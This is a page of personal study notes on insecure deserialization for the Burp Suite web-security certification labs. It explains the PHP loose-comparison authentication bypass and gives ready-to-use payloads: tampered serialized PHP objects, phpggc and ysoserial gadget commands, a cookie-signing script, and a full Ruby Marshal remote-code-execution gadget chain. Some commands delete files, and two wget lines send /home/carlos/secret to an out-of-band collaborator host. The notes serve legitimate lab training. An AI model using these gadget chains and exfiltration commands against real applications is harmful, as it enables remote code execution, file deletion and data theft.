bscp notes
  • Resources
  • Exam Hints/Tips
  • Burp dynamic header in Intruder
  • Methodology
  • Payloads
  • Stage 1
    • XSS
    • Information disclosure
    • DOM-based
    • Web Cache Poison
    • Host Headers
    • HTTP Req Smuggling
    • Authentication
  • Stage 2
    • oAuth
    • CSRF
    • Password Reset
    • SQLi
      • SQLi Cheat Sheet
    • JWT
    • Prototype Pollution
    • API Testing - TODO
    • Access Control
    • CORS
  • DATA EXFILTRATION
    • XXE Injections
    • SSRF
    • SSTI
    • Path Traversal
    • File Upload
    • Insecure Desarialization
    • OS Cmd Injection
  • graphql api vulns
  • no sql
  • web cache deception
  • clickjacking
  • websockets
  • web cache deception
Powered by GitBook
On this page
  • phpgcc
  • JAVA Commons
  • ruby
  1. DATA EXFILTRATION

Insecure Desarialization

PreviousFile UploadNextOS Cmd Injection

Last updated 5 months ago

online debugger:

  1. Try to change object ex. for administrator

  2. Insecure deserialization of object - fn that delete file (unlink)

function __destruct() {
        if (file_exists($this->lock_file_path)) {
            unlink($this->lock_file_path);
        }
    }
    
    

O:14:"CustomTemplate":1:{s:14:"lock_file_path";s:23:"/home/carlos/morale.txt";}

  1. set access token to integer, and bypass authorization

O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";i:0;}

PHP-based logic is particularly vulnerable to this kind of manipulation due to the behavior of its loose comparison operator (==) when comparing different data types. For example, if you perform a loose comparison between an integer and a string, PHP will attempt to convert the string to an integer, meaning that 5 == "5" evaluates to true.

Unusually, this also works for any alphanumeric string that starts with a number. In this case, PHP will effectively convert the entire string to an integer value based on the initial number. The rest of the string is ignored completely. Therefore, 5 == "5 of something" is in practice treated as 5 == 5.

This becomes even stranger when comparing a string the integer 0:

0 == "Example string" // true

Why? Because there is no number, that is, 0 numerals in the string. PHP treats this entire string as the integer 0.

$login = unserialize($_COOKIE) if ($login['password'] == $password) { // log in successfully }

Let's say an attacker modified the password attribute so that it contained the integer 0 instead of the expected string. As long as the stored password does not start with a number, the condition would always return true, enabling an authentication bypass. Note that this is only possible because deserialization preserves the data type. If the code fetched the password from the request directly, the 0 would be converted to a string and the condition would evaluate to false.

  1. use functionality of the app to delete file

Edit the serialized data so that the avatar_link points to /home/carlos/morale.txt. Remember to update the length indicator. The modified attribute should look like this:

s:11:"avatar_link";s:23:"/home/carlos/morale.txt"

Click "Apply changes". The modified object will automatically be re-encoded and updated in the request.

Change the request line to POST /my-account/delete and send the request. Your account will be deleted, along with Carlos's morale.txt file.

phpgcc

php phpggc Symfony/RCE4 exec 'rm /home/carlos/morale.txt' | base64


<?php
$object = "OBJECT-GENERATED-BY-PHPGGC";
$secretKey = "LEAKED-SECRET-KEY-FROM-PHPINFO.PHP";
$cookie = urlencode('{"token":"' . $object . '","sig_hmac_sha1":"' . hash_hmac('sha1', $object, $secretKey) . '"}');
echo $cookie;

replace session cookie inside browser

JAVA Commons

java -jar ysoserial-all.jar \
   --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
   --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
   --add-opens=java.base/java.net=ALL-UNNAMED \
   --add-opens=java.base/java.util=ALL-UNNAMED \
   CommonsCollections4 'rm /home/carlos/morale.txt' | base64
   
   
   
java -jar /opt/ysoserial/ysoserial.jar CommonsCollections4 'wget http://OASTIFY.COM --post-file=/home/carlos/secret' | base64 -w 0

ruby

# Autoload the required classes
require 'base64'
Gem::SpecFetcher
Gem::Installer

# prevent the payload from running when we Marshal.dump it
module Gem
  class Requirement
    def marshal_dump
      [@requirements]
    end
  end
end

wa1 = Net::WriteAdapter.new(Kernel, :system)

rs = Gem::RequestSet.allocate
rs.instance_variable_set('@sets', wa1)
//rs.instance_variable_set('@git_set', "rm /home/carlos/morale.txt")
rs.instance_variable_set('@git_set', "wget http://xxx.oastify.com --post-file=/home/carlos/secret")

wa2 = Net::WriteAdapter.new(rs, :resolve)

i = Gem::Package::TarReader::Entry.allocate
i.instance_variable_set('@read', 0)
i.instance_variable_set('@header', "aaa")


n = Net::BufferedIO.allocate
n.instance_variable_set('@io', i)
n.instance_variable_set('@debug_output', wa2)

t = Gem::Package::TarReader.allocate
t.instance_variable_set('@io', n)

r = Gem::Requirement.allocate
r.instance_variable_set('@requirements', t)

payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r])
puts Base64.encode64(payload)

Consider a case where this loose comparison operator is used in conjunction with user-controllable data from a deserialized object. This could potentially result in dangerous .

https://www.onlinegdb.com/
logic flaws
https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html